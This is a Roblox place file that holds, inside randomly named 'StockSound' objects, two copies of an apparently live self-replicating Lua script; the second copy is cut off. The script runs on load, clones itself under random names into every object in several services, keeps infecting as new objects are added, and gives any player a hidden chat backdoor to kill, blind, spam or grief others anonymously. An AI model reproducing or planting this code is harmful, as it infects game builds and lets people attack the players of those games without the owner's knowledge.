<roblox xmlns:xmime="http://www.w3.org/2005/05/xmlmime" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="http://www.roblox.com/roblox.xsd" version="4">
	<External>null</External>
	<External>nil</External>
	<Item class="Workspace" referent="RBX0">
		<Properties>
			<token name="Controller">0</token>
			<bool name="ControllerFlagShown">true</bool>
			<Ref name="CurrentCamera">RBX1</Ref>
			<double name="DistributedGameTime">1739.1334240362048</double>
			<CoordinateFrame name="ModelInPrimary">
				<X>0</X>
				<Y>0</Y>
				<Z>0</Z>
				<R00>1</R00>
				<R01>0</R01>
				<R02>0</R02>
				<R10>0</R10>
				<R11>1</R11>
				<R12>0</R12>
				<R20>0</R20>
				<R21>0</R21>
				<R22>1</R22>
			</CoordinateFrame>
			<string name="Name">Workspace</string>
			<Ref name="PrimaryPart">RBX2</Ref>
			<bool name="archivable">true</bool>
		</Properties>
		<Item class="Model" referent="RBX3">
			<Properties>
				<token name="Controller">0</token>
				<bool name="ControllerFlagShown">true</bool>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Model</string>
				<Ref name="PrimaryPart">null</Ref>
				<bool name="archivable">true</bool>
			</Properties>
			<Item class="StockSound" referent="RBX4">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">hfxq</string>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Script" referent="RBX5">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">zpyo4vh</string>
						<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Part" referent="RBX2">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">208</int>
				<CoordinateFrame name="CFrame">
					<X>0</X>
					<Y>0.200000048</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<token name="Controller">0</token>
				<bool name="ControllerFlagShown">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">true</bool>
				<token name="Material">256</token>
				<string name="Name">Base</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>512</X>
					<Y>0.400000006</Y>
					<Z>512</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX6">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">5o9g6upwz</string>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Script" referent="RBX7">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">kjo6</string>
						<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
